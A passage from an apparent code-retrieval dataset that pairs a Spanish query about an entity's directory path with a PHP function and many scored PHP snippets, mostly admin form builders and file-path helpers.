(Admin::user()->isRole('Pt') || Admin::user()->isRole('Fm')) {\n $form->select('pt_id', __('Nhân viên chăm sóc'))->options(AuthUser::all()->pluck('name', 'id'))->default(Admin::user()->id);\n } else {\n $form->select('sale_id', __('Nhân viên chăm sóc'))->options(AuthUser::all()->pluck('name', 'id'))->default(Admin::user()->id);\n }\n //}\n\n $form->text('setup_at', __('Lịch hẹn gặp'));\n $form->text('pt_setup_at', __('Lịch PT hẹn gặp'));\n $form->text('plan', __('Gói hiện tại'));\n $form->select('source', __('Nguồn khách'))->options(Constant::SOURCE)->setWidth(2, 2);\n $form->textarea('note', __('Ghi chú'));\n $form->text('pt_note', __('PT Ghi chú'));\n $form->date('end_date', __('Ngày hết hạn'));\n if (Admin::user()->isRole('Pt') || Admin::user()->isRole('Fm')) {\n $form->select('pt_status', __('Trạng thái PT'))->options(Constant::CUSTOMER_STATUS)->setWidth(2, 2);\n } elseif (Admin::user()->isRole('Pt') || Admin::user()->isRole('Fm')) {\n $form->select('status', __('Trạng thái'))->options(Constant::CUSTOMER_STATUS)->setWidth(2, 2);\n } else {\n $form->select('status', __('Trạng thái'))->options(Constant::CUSTOMER_STATUS)->setWidth(2, 2);\n $form->select('pt_status', __('Trạng thái PT'))->options(Constant::CUSTOMER_STATUS)->setWidth(2, 2);\n }\n\n $form->select('like', __('Quan tâm'))->options(Constant::FAVORITE)->setWidth(2, 2);\n return $form;\n }", "public function getManageFormTypeName()\n {\n return 'default';\n }", "protected function form()\n {\n $form = new Form(new User);\n\n// $form->number('role_id', 'Role id');\n $form->text('name', 'Name');\n// $form->email('email', 'Email');\n// $form->image('avatar', 'Avatar')->default('users/default.png');\n// $form->password('password', 'Password');\n// $form->text('remember_token', 'Remember token');\n// $form->textarea('settings', 'Settings');\n $form->text('username', 'Username');\n// $form->text('access_token', 'Access token');\n// $form->text('no_hp', 'No hp');\n// $form->number('location_id', 'Location id');\n// $form->switch('gender', 'Gender')->default(1);\n\n\n return $form;\n }", "public function createComponentEditForm()\n\t{\n\t\t$form = new Form;\n\t\t$form->addGroup();\n\t\t$form->addHidden('ID_leku');\n\t\t$form->addText('nazev_leku', 'Názov lieku')\n\t\t\t->addRule(Form::FILLED, 'Zadajte názov lieku');\n\t\t$form->addSelect('typ_leku', 'Typ lieku', self::MEDICINE_TYPE)\n\t\t\t->setPrompt('Zvoľte typ lieku')\n\t\t\t->setRequired(TRUE)\n\t\t\t->setAttribute('class', 'form-control');\n\n\t\t$form->addGroup(\"Poisťovne\");\n\t\t$removeEvent = [$this, 'removeElementClicked'];\n\t\t$insurences = $form->addDynamic(\n\t\t\t'insurences',\n\t\t\tfunction (Container $insurence) use ($removeEvent) {\n\t\t\t\t$insurence->addHidden('ID_leku');\n\t\t\t\t$insurence->addSelect('ID_pojistovny', 'Poisťovňa', $this->insurenceManager->getInsurenceToSelectBox())\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setPrompt('Zvoľte poisťovňu')\n\t\t\t\t\t->setAttribute('class', 'form-control');\n\t\t\t\t$insurence->addText('cena', 'Cena lieku')\n\t\t\t\t\t->setRequired(FALSE)\n\t\t\t\t\t->setDefaultValue('0')\n\t\t\t\t\t->addRule(Form::FLOAT, 'Cena musí byť číslo');\n\t\t\t\t$insurence->addText('doplatek', 'Doplatok na liek')\n\t\t\t\t\t->setRequired(FALSE)\n\t\t\t\t\t->setDefaultValue('0')\n\t\t\t\t\t->addRule(Form::FLOAT, 'Doplatok musí byť číslo');\n\t\t\t\t$insurence->addSelect('hradene', 'Typ lieku', array('hradene' => 'Hradený', 'nehradene' => 'Nehradený', 'doplatok' => 'Liek s doplatkom'))\n\t\t\t\t\t->setPrompt('Zvoľte typ lieku')\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setAttribute('class', 'form-control');\n\t\t\t\t$removeBtn = $insurence->addSubmit('remove', 'Odstrániť poisťovňu')\n\t\t\t\t\t->setAttribute('class', 'btn-danger')\n\t\t\t\t\t->setValidationScope(false);\n\t\t\t\t$removeBtn->onClick[] = $removeEvent;\n\t\t\t}, 1\n\t\t);\n\n\t\t$insurences->addSubmit('add', 'Pridať poisťovňu')\n\t\t\t->setAttribute('class', 'btn-success')\n\t\t\t->setValidationScope(false)\n\t\t\t->onClick[] = [$this, 'addElementClicked'];\n\n\t\t$form->addGroup(\"Pobočky\");\n\t\t$offices = $form->addDynamic(\n\t\t\t'offices',\n\t\t\tfunction (Container $office) use ($removeEvent) {\n\t\t\t\t$office->addHidden('ID_leku');\n\t\t\t\t$office->addSelect('ID_pobocky', 'Pobočka', $this->officeManager->getOfficesToSelectBox())\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setPrompt('Zvoľte pobočku')\n\t\t\t\t\t->setAttribute('class', 'form-control');\n\t\t\t\t$office->addText('pocet_na_sklade', 'Počet kusov')\n\t\t\t\t\t->setRequired(TRUE)\n\t\t\t\t\t->setDefaultValue('1')\n\t\t\t\t\t->addRule(Form::INTEGER, 'Počet kusov musí byť číslo')\n\t\t\t\t\t->addRule(Form::RANGE, 'Počet kusov musí byť kladné číslo', array(0, null));\n\n\t\t\t\t$removeBtn = $office->addSubmit('remove', 'Odstrániť pobočku')\n\t\t\t\t\t->setAttribute('class', 'btn-danger')\n\t\t\t\t\t->setValidationScope(false);\n\t\t\t\t$removeBtn->onClick[] = $removeEvent;\n\t\t\t}, 1\n\t\t);\n\n\t\t$offices->addSubmit('add', 'Pridať pobočku')\n\t\t\t->setAttribute('class', 'btn-success')\n\t\t\t->setValidationScope(false)\n\t\t\t->onClick[] = [$this, 'addElementClicked'];\n\n\t\t$form->addGroup('');\n\t\t$form->addSubmit('submit', 'Uložiť liek')\n\t\t\t->setAttribute('class', 'btn-primary')\n\t\t\t->onClick[] = [$this, 'submitElementClicked'];\n\n\t\treturn $this->bootstrapFormRender($form);\n\t}", "public function display_edit_form(){\n echo \"<form action='../../Controllers/charity_controller.class.php?action=update' method='post'>\";\n echo \"<input type='hidden' name='id' value=\".$this->id.\" />\";\n echo \"Name: <input type='text' name='name' value=\".$this->name.\" /><br />\";\n echo \"Description: <textarea name='description'>\".$this->description.\"</textarea><br />\";\n echo \"<input type='submit' value='Update' />\";\n echo \"</form>\";\n }", "protected function form()\n {\n return Admin::form(FactoryModel::class, function (Form $form) {\n\n $form->display('id', 'ID');\n $form->text('name','厂家名称')->rules('required');\n $form->text('boss','老板')->rules('required');\n $form->text('telephone','手机号');\n $form->text('address','地址');\n $form->text('mark','备注');\n\n $form->display('created_at', 'Created At');\n $form->display('updated_at', 'Updated At');\n });\n }", "protected function form()\n {\n $form = new Form(new Category());\n\n $parents = Category::where('parent_id', 0)->get()->toArray();\n $select_ = array_prepend($parents, ['id' => 0, 'name_cn' => '顶级']);\n $select_array = array_column($select_, 'name_cn', 'id');\n //创建select\n $form->select('parent_id', '上级')->options($select_array);\n\n $form->text('name_cn', __('Name cn'))->rules('required');\n $form->text('name_en', __('Name en'))->rules('required');\n $form->multipleImage('top_image', __('置顶图'))->sortable()->removable()->help('按数字大小正序长宽建议比列(178:174|177:87),请按照建议比例顺序上传图片');\n $form->image('image', __('Image'))->help('按数字大小正序长宽建议比列(710:295)');\n $form->text('description', __('Description'))->rules('required');\n $form->ueditor('content', __('Content'));\n $states = [\n 'on' => ['value' => 1, 'text' => '是', 'color' => 'success'],\n 'off' => ['value' => 0, 'text' => '否', 'color' => 'danger'],\n ];\n $form->switch('is_top', __('Is top'))->states($states)->default(0);\n $form->number('sort_order', __('Sort order'))->default(99);\n\n return $form;\n }", "public function __construct($name = null) {\n parent::__construct('about');\n\n $this->add(array(\n 'name' => 'id',\n 'type' => 'Hidden',\n ));\n $this->add(array(\n 'name' => 'name',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'Наименование предприятия',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'id' => 'name',\n 'placeholder' => 'Наименование предприятия',\n ),\n ));\n \n $this->add(array(\n 'name' => 'tel',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'Телефон',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'Контактный номер телефона',\n ),\n ));\n \n $this->add(array(\n 'name' => 'address',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'Адрес',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'Адрес',\n ),\n ));\n \n $this->add(array(\n 'name' => 'current_account',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'РАСЧЕТНЫЙ СЧЕТ',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'РАСЧЕТНЫЙ СЧЕТ',\n ),\n ));\n \n $this->add(array(\n 'name' => 'unp',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'УНП',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'УНП',\n ),\n ));\n $this->add(array(\n 'name' => 'bank_info',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'Информация о банке',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'Информация о банке',\n ),\n ));\n \n $this->add(array(\n 'name' => 'okpo',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'ОКПО',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'ОКПО',\n ),\n ));\n \n $this->add(array(\n 'name' => 'director',\n 'type' => 'Text',\n 'options' => array(\n 'label' => 'Директор',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'ФИО',\n ),\n ));\n \n $this->add(array(\n 'name' => 'email',\n 'type' => 'Email',\n 'options' => array(\n 'label' => 'Email',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'Электронный адрес',\n ),\n ));\n \n $this->add(array(\n 'name' => 'description',\n 'type' => 'Zend\\Form\\Element\\Textarea',\n 'options' => array(\n 'label' => 'О предприятии',\n ),\n 'attributes' => array(\n 'class' => 'form-control',\n 'placeholder' => 'О предприятии',\n ),\n ));\n \n $this->add(array(\n 'name' => 'submit',\n 'type' => 'Submit',\n 'attributes' => array(\n 'value' => 'Сохранить',\n 'id' => 'submitbutton',\n ),\n 'attributes' => array(\n 'class' => 'btn btn-danger',\n ),\n ));\n }", "public function getCrearFoto(){\n\t\treturn 'formulario de de crear Albumes';\n\t}", "abstract protected function _setNewForm();", "protected function form()\n {\n $form = new Form(new City());\n\n $form->tab('Основная', function ($form) {\n $form->switch('show', __('Активен'));\n $form->date('date', __('Дата'));\n $form->text('name', __('Наименование'));\n $form->myimage('image', __('Image'));\n $form->ckeditor('text', 'Описание')\n ->options(\n [\n 'filebrowserBrowseUrl' => '/ckfinder/browser',\n 'filebrowserImageBrowseUrl' => '/ckfinder/browser',\n 'filebrowserUploadUrl' => '/ckfinder/browser?type=Files',\n 'filebrowserImageUploadUrl' => '/ckfinder/browser?command=QuickUpload&type=Images',\n 'lang' => 'ru',\n 'height' => 500,\n 'filebrowserWindowWidth' => '1000',\n 'filebrowserWindowHeight' => '700'\n ])->default('-');\n\n $form->number('orders', __('Очередность'))->default(1);\n })->tab('Координаты', function ($form) {\n $form->text('xcoord', 'Долгота')->default('1');\n $form->text('ycoord', 'Широта')->default('1');\n $form->text('content', 'Ссылка');\n $form->text('header', 'Заголовок');\n $form->text('body', 'Описание');\n $form->text('hint', 'Подсказка');\n });\n return $form;\n }", "protected function form()\n {\n $form = new Form(new CompanyCulture());\n\n $form->text('name', '企业名称')->rules('required');\n $form->text('en_name', '企业名称(en)')->rules('required');\n $form->image('image_url', '图片')->rules('required|image');\n $form->editor('content', '内容')->rules('required');\n\n $form->tools(function (Form\\Tools $tools) {\n // 去掉`列表`按钮\n $tools->disableList();\n // 去掉`删除`按钮\n $tools->disableDelete();\n // 去掉`查看`按钮\n $tools->disableView();\n });\n\n\n $form->footer(function ($footer) {\n // 去掉`查看`checkbox\n $footer->disableViewCheck();\n // 去掉`继续编辑`checkbox\n $footer->disableEditingCheck();\n // 去掉`继续创建`checkbox\n $footer->disableCreatingCheck();\n });\n\n return $form;\n }", "public function class(){\n\n return view('sarana.class');\n }", "protected function form()\n {\n return Admin::form(Industry::class, function (Form $form) {\n\n\n $form->text('name',\"名称\");\n $form->number('order_by', \"行业排序\")->value(9);\n $form->display('created_at', '创建时间');\n $form->display('updated_at', '最后修改时间');\n });\n }", "protected function form()\n {\n $form = new Form(new MachinesStyle());\n\n $form->text('style_name', __('型号名称'));\n\n $form->select('aa', __('所属类型'))->options(MachinesType::where('state', '1')->get()->pluck('name', 'id'))->load('factory_id', '/api/getAdminFactory');\n\n $form->select('factory_id', __('所属厂商'))->required();\n\n $form->ignore(['aa']);\n\n return $form;\n }", "protected function form()\n {\n $form = new Form(new Ticket);\n\n\n $form->text('ticket_article', 'Номер заявки')->default(mt_rand(100000, 999999))->placeholder(' ');\n $form->text('fio', 'ФІО')->placeholder(' ');\n $form->mobile('phone', 'Телефон')->options(['mask' => '+38(999) 999 99 99'])->placeholder(' ');\n $form->text('city', 'Місто')->placeholder(' ');\n $form->text('adress', 'Адреса')->placeholder(' ');\n $form->email('email', 'Email')->placeholder(' ');\n $form->select('type', 'Тип')->options([\n 'Ремонт' => 'Ремонт',\n 'Запчастини' => 'Запчастини',\n 'Дефект' => 'Дефект'\n ])->placeholder(' ');\n $form->text('brand', 'Бренд')->placeholder(' ');\n $form->text('model', 'Модель')->placeholder(' ');\n $form->text('serial_number', 'С/Н')->placeholder(' ');\n\n $form->date('date_sale', 'Дата продажу')->format('DD.MM.YYYY')->placeholder(' ');\n $form->textarea('description', 'Додатково')->placeholder(' ');\n $form->multipleFile('files', 'Файли')->placeholder(' ');\n $form->textarea('answer', 'Відповідь клієнту')->placeholder(' ');\n $form->select('status', 'Статус')->options([\n 'Відкрита' => 'Відкрита',\n 'В обробці' => 'В обробці',\n 'Закрита' => 'Закрита'\n ])->placeholder(' ');\n\n return $form;\n }", "protected function form()\n {\n $form = new Form(new Student);\n\n $form->text('surname', 'Фамилия')->rules('required|max:50');\n $form->text('name', 'Имя')->rules('required|max:50');\n $form->text('family_name', 'Отчество')->rules('required|max:255');\n $form->text('telegram_id', 'Telegram-id')->rules('nullable');\n $form->email('email', 'Email');\n $form->text('number', 'Контактный телефон')->rules('max:100');;\n $form->select('groups_id', 'Ид группы')->options(Group::all()->pluck('name', 'id'))\n ->rules('required');\n\n return $form;\n }", "protected function form()\n {\n $form = new Form(new Activity());\n\n $form->text('name', __('Name'));\n $form->image('image', __('Image'));\n $form->text('intro', __('Intro'));\n $form->UEditor('details', __('Details'));\n $form->datetime('start_at', __('Start at'))->default(date('Y-m-d H:i:s'));\n $form->datetime('end_at', __('End at'))->default(date('Y-m-d H:i:s'));\n $form->text('location', __('Location'));\n $form->decimal('fee', __('Fee'))->default(0.00);\n $form->number('involves', __('Involves'));\n $form->number('involves_min', __('Involves min'));\n $form->number('involves_max', __('Involves max'));\n $form->switch('status', __('Status'));\n $form->text('organizers', __('Organizers'));\n $form->number('views', __('Views'));\n $form->switch('is_stick', __('Is stick'));\n\n return $form;\n }", "public function FormAction()\n {\n return Controller::join_links($this->_widgetEditor->Link('field'), str_replace('\\\\', '_', $this->_widget->ClassName), '');\n }", "public function getName()\n {\n return \"event_form\";\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "protected function form()\n {\n $form = new Form(new Usertype());\n\n $form->text('usertype', '类型名称')->rules('required|max:10');\n $form->tools(function (Form\\Tools $tools) {\n $tools->disableList();\n $tools->disableDelete();\n $tools->disableView();\n });\n $form->footer(function ($footer) {\n $footer->disableReset();\n $footer->disableViewCheck();\n $footer->disableEditingCheck();\n $footer->disableCreatingCheck();\n });\n return $form;\n }", "function traitementFormHeader(){\n\t\t\n\t\tif(isset(\t$this->request->request)\n\t\t\t\t&& \t$this->request->request->get('traitementClass')!=\"\"){\n\n\t\t\t$traitement = $this->request->request->get('traitementClass');\t\n\t\t\t\n\t\t\tswitch($traitement){\n\n\t\t\t\t// formulaire de connexion\t\t\t\n\t\t\t\tcase \"Connexion\":{\t\t\t\t\n\t\t\t\t\treturn new \\traitement\\TraitementConnexion($this->request);\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// formulaire d'inscription\n\t\t\t\tcase \"Inscription\": {\t\t\t\t\n\t\t\t\t\treturn new \\traitement\\TraitementInscription($this->request);\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t}\n\t}", "public function create()\n {\n $classes = mClass::pluck(\"class_name\", \"id\");\n $classes->prepend('-- Chọn lớp --', '');\n return view('personal.create', compact('classes'));\n }", "protected function form()\n {\n $form = new Form(new Category);\n\n// dump(Category::root(request()->segment(3)));\n\n $form->tab('Конструктор страницы', function($form){\n $form->sortable('source','Страница');\n $form->select('blocks','Добавить блок')->options(Block::where('static',0)->pluck('name','url'))->attribute(['rel' => 'blocks']);\n $form->select('static','Добавить статический блок')->options(Block::where('static',1)->pluck('name','url'))->attribute(['rel' => 'static']);\n });\n $form->tab('Настройки', function($form){\n $form->display('id');\n $form->alias('alias','Алиас');\n $form->text('link');\n $form->select('hook')->options(Resource::all()->pluck('name','id'));\n $form->text('name','Название');\n });\n $form->tab('SEO', function($form){\n $form->textarea('seo_title','seo title');\n $form->textarea('seo_desc','seo description');\n $form->textarea('seo_key','seo keywords');\n\n });\n\n return $form;\n }", "protected function getClassField() {}", "protected function form()\n {\n $form = new Form(new CompanyPortfolio);\n $form->text('title_ar', 'اسم العمل عربي')->rules('required');\n $form->text('title_en', 'اسم العمل انجليزي')->rules('required');\n $form->text('description_ar', 'وصف الشركة عربي')->rules('required');\n $form->text('description_en', 'وصف الشركة انجليزي')->rules('required');\n $form->select('company_id', 'الشركة')->options(Company::pluck('title_ar', 'id')->all())->rules('required');\n $form->multipleImage('images', 'الصور')->removable()->rules('required');\n return $form;\n }", "protected function form()\n {\n $form = new Form(new BuSong);\n\n// $form->number('serialid', __('Serialid'));\n $form->text('svrkey', __('svrkey'));\n $form->text('songname', __('歌名'));\n $form->text('singer', __('歌星'));\n $form->select('langtype', __('语种'))->options([0=>'国语',1=>'粤语',2=>'英语',3=>'台语',4=>'日语',5=>'韩语',6=>'不详']);\n $form->text('remarks', __('备注'));\n $form->datetime('createdate', __('创建时间'))->default(date('Y-m-d H:i:s'));\n $form->select('ischeck', __('是否检查'))->options([0=>'否',1=>'是']);\n $form->select('buState', __('状态'))->options([0=>'新增',1=>'处理中',2=>'完成',3=>'歌曲信息出错',4=>'取消无法处理',5=>'已上传',6=>'彻底删除']);\n $form->text('musicdbpk', __('musicdbpk'));\n $form->text('optionRemarks', __('操作日志'));\n\n return $form;\n }", "protected function form()\n {\n $form = new Form(new Specialization);\n\n $form->text('full_name', 'Полное найменование')->rules('required|max:255');\n $form->text('short_name', 'Краткое найменование')->rules('required|max:255');\n $form->text('code', 'Код специальности')->rules('nullable|max:100');\n $form->select('cathedra_id', 'Кафедра')->options(Cathedra::all()->pluck('name', 'id'))\n ->rules('required|numeric|exists:cathedras,id');\n\n return $form;\n }", "protected function form()\n {\n $form = new Form(new HotRank());\n\n $form->text('nickname', __('昵称'));\n $form->image('avatar', __('头像'));\n $form->radio('gender', __('性别'))->options([\n '1' => '男',\n '2' => '女'\n ])->default(1);\n $form->hidden('role', __('Role'))->default(1);\n $form->textarea('intro', __('简介'));\n $form->number('fans', __('粉丝数'));\n $form->text('red_book_link', __('小红书链接'));\n $form->number('red_book_fans', __('小红书粉丝'));\n $form->text('douyin_link', __('抖音链接'));\n $form->number('douyin_fans', __('抖音粉丝'));\n $form->number('sort', __('排序'));\n $form->hasMany('opus', '作品', function (Form\\NestedForm $form) {\n\n $form->radio('media_type', '媒体类型')\n ->options([\n 'image' => '图片',\n 'video' => '视频',\n ])->default('image');\n $form->file('uri', '媒体文件')->required();\n $form->image('thumb', '视频封面');\n });\n\n return $form;\n }" ]
[ "0.6822308", "0.6621385", "0.6598993", "0.64495724", "0.6372506", "0.6298367", "0.62845594", "0.621896", "0.6216487", "0.6184118", "0.6137753", "0.61351836", "0.6114732", "0.6075871", "0.6072214", "0.60703313", "0.60329366", "0.60244215", "0.60076284", "0.6004626", "0.60035264", "0.5985857", "0.5973604", "0.59705204", "0.5965154", "0.59635586", "0.59629136", "0.5955698", "0.5948749", "0.59437627", "0.59213614", "0.59213614", "0.59190553", "0.5911305", "0.59082305", "0.5905184", "0.59027445", "0.59018165", "0.5890962", "0.58832353", "0.5880588", "0.5876925", "0.58630735", "0.585767", "0.5852525", "0.5848103", "0.5847174", "0.5841319", "0.58392334", "0.5825829", "0.5824905", "0.5822715", "0.5812958", "0.58096874", "0.57816035", "0.57816035", "0.57726717", "0.57711774", "0.576991", "0.5762927", "0.5753945", "0.57506144", "0.57487047", "0.5748609", "0.5741285", "0.57406366", "0.573631", "0.5730835", "0.5729181", "0.57289153", "0.57206225", "0.5718143", "0.57165205", "0.5710373", "0.56941473", "0.5693173", "0.56836236", "0.5682606", "0.5668852", "0.56561774", "0.564787", "0.56459653", "0.5644436", "0.5642944", "0.5638361", "0.56383204", "0.56364447", "0.5634636", "0.5633998", "0.56336826", "0.56307447", "0.5629421", "0.5626047", "0.56225526", "0.562239", "0.56207883", "0.56151015", "0.5612971", "0.56114537", "0.5606884", "0.5603785" ]
0.0
-1
El full path del directorio donde se encuentra la entidad
private function getBundleEntityFullPath() { $words = preg_split("/[:]/", $this->getEntityName()); $bundleName = $words[0]; return 'AV\\' . $bundleName . '\Entity\\'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getFullPath();", "public function getFullPath(): string;", "function dirPath () { return (\"../../\"); }", "function dirPath() { return (\"../\"); }", "function dirPath() {return (\"../../../../\"); }", "public function path();", "abstract public function directoryLocation();", "public function getFullPath()\n {\n return sfAssetsLibraryTools::getMediaDir(true) . $this->getRelativePath();\n }", "protected function determinedFullPath()\n {\n // TODO: See why windows cannot use the the full path\n /*return dirname((new ReflectionClass($this))->getFileName()) .\n DIRECTORY_SEPARATOR .\n '..' .\n DIRECTORY_SEPARATOR .*/\n return $this->getWebRoot() .\n DIRECTORY_SEPARATOR .\n $this->path;\n }", "protected function getPath () {\n\tglobal $Config;\n\treturn $Config->get('dir_root').'/'.$this->dir.'/'.$this->name;\n }", "public function getDir();", "public function directory();", "public function getDirectory();", "public function getDirectory();", "public function getLocalPath();", "public function getDirectory(): string;", "public function getLocalPath()\r\n\t{\r\n\t\t$accountNumber = $this->getAccountNumber();\r\n\r\n\t\t$file_dir = AntConfig::getInstance()->data_path.\"/$accountNumber/userfiles\";\r\n\t\t$file_dir2 = AntConfig::getInstance()->data_path.\"/$accountNumber/userfiles\";\r\n\t\t\r\n\t\tif ($this->owner_id!=null)\r\n\t\t{\r\n\t\t\t$file_dir .= \"/\".$this->owner_id;\r\n\t\t\t$file_dir2 .= \"/\".$this->owner_id;\r\n\t\t}\r\n\r\n\t\tif (!file_exists($file_dir.\"/\".$this->name_lcl))\r\n\t\t{\r\n\t\t\tif (file_exists($file_dir2.\"/\".$this->name_lcl))\r\n\t\t\t\t$file_dir = $file_dir2;\r\n\t\t}\r\n\r\n\t\t$file_dir .= \"/\".$this->name_lcl;\r\n\r\n\t\treturn $file_dir;\r\n\t}", "protected function getUploadRootDir()\n {\n \t// guardar los archivos cargados\n \treturn 'uploads/registros/';\n }", "private static function getPath() : string {\n return getBasePath() . '/miaus';\n }", "function getPath() {\n $ruta = realpath(dirname(__FILE__));\n if ( strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' )\n $separator = '\\\\';\n else\n $separator = '/';\n $aRuta = explode($separator,$ruta);\n $ruta = '';\n foreach($aRuta as $index => $value)\n if ( $index < count($aRuta) - 1 ) $ruta .= $value.$separator;\n return $ruta;\n}", "function path($path='') {\n return $this->base_dir . $path;\n }", "public function getFilepath();", "public abstract function getDirectory();", "public function getRootDir();", "public function public_path();", "public function path() {}", "public function path() {}", "public function getFullpath()\n\t{\n\t\treturn $this->filesystem->getAdapter()->root . $this->path;\n\t}", "public function getUploadDir()\n {\n // image profile should be saved\n return __DIR__.'/../../../../web/uploads/evento/'.$this->id;\n }", "public function get_full_relative_path(){\n\t\treturn $this->dir . '/' . $this->get_full_name();\n\t}", "public function getDir(): string;", "public function getAbsolutePath();", "protected function getUploadRootDir()\n {\n \t// guardar los archivos cargados\n \treturn 'uploads/registros/labels';\n }", "public function getFileRootPath(): string\n {\n return str_replace(\n ':',\n '.',\n $this->getDatasetSubmission()->getDataset()->getUdi()\n ) . DIRECTORY_SEPARATOR;\n }", "public function getFolderPath(){}", "protected function getAbsolutePath()\n {\n return '/var/www/html/ColdkitchenSymfony/web/'.$this->getUploadPath();\n }", "public function getPathToFile(): string;", "public function getFullPath()\r\n\t{\r\n\t\t$path = $this->getValue(\"name\");\r\n\r\n\t\t// We are at the real root\r\n\t\tif (!$this->getValue(\"parent_id\") && $path == '/')\r\n\t\t\treturn $path;\r\n\r\n\t\t// This condition should never happen, but just in case\r\n\t\tif (!$this->getValue(\"parent_id\"))\r\n\t\t\treturn false;\r\n\r\n\t\t$pfolder = CAntObject::factory($this->dbh, \"folder\", $this->getValue(\"parent_id\"), $this->user);\r\n\t\t$pre = $pfolder->getFullPath();\r\n\r\n\t\tif ($pre == \"/\")\r\n\t\t\treturn \"/\" . $path;\r\n\t\telse\r\n\t\t\treturn $pre . \"/\" . $path;\r\n\t}", "public function path(): string;", "public function path(): string;", "public function getAbsolutePath() {}", "public function getAbsolutePath() {}", "public function getDirectory()\n {\n return mfConfig::get('mf_sites_dir').\"/\".$this->getSiteName().\"/\".$this->getApplication().\"/view/pictures/\".$this->get('lang');\n }", "public function GetRealPath()\n {\n return PATH_CMS_CUSTOMER_DATA.'/'.$this->GetRealFileName();\n }", "public function getFileDirectory();", "public function getFullPath(): string\n {\n $store = $this->getStore();\n return $store ? $store->getBaseMediaDir() . '/' . $this->getPath() : '';\n }", "public function getBaseDir();", "private function getFraxResourceDirPath() {\r\n\t\treturn self::getFraxResourceDirPathWithFolderId($this->fraxionResourceService->getResourceFolderId());\r\n\t}", "public static function folderPath(){\n\t\treturn DATA.static::$folderPrefix.'files/';\n\t}", "function filepath()\n {\n return \"/var/www/html/mover/\";\n }", "public function getPath()\n {\n return $this->_folder . DIRECTORY_SEPARATOR . $this->_name;\n }", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getPath(): string;", "public function getRootPath();", "public function getRootPath();", "protected function getUploadRootDir() {\n // guardar los archivos cargados\n return __DIR__ . '/../../../../web/uploads/portafolios/' . $this->getId();\n }", "public static function get_directory() : string {\r\n\t\treturn Core::get_app_path( self::$directory );\r\n\t}", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../uploads/user/';\n }", "function getAbsolutePath() ;", "private static function folders_path(){\n\t\treturn dirname(__DIR__) . '/content/folders.json';\n\t}", "public function getPath()\n {\n return str_replace(\n ['/', '\\\\'],\n Storage::GetSeparator(),\n Storage::GetPath() . '/' . $this->dirname . '/' . $this->basename\n );\n }", "private function getDir() {\n return sprintf(\"%s/%s/\", app_path(), config('newportal.portlets.namespace'));\n }", "abstract protected function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath();", "public function getPath(){\n\t \treturn $this->dirname.'/'.$this->filename.'.'.$this->extension;\n\t }", "public function getFileBaseDir()\n {\n return Mage::getBaseDir('media').DS.'invitationstatus'.DS.'file';\n }", "protected function getAbsoluteBasePath() {}", "public function getPath()\n {\n return $this->directory->getRealPath();\n }", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public function getPublicBasePath();", "public function getFullPath(): string\n {\n return $this->getRoot() . $this->getPathExt();\n }", "public function getFoundPath() {}", "public function getFullPath()\n\t{\n\t\treturn $this->getServerName() . $this->getScriptDirectory();\n\t}", "public function getRootDirectory();", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "public function getPath() {}", "protected function getUploadRootDir()\n {\n// documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function createFolderPath()\n {\n return \"uploads/\".date('Y').\"/\".date('m').\"/\";\n }" ]
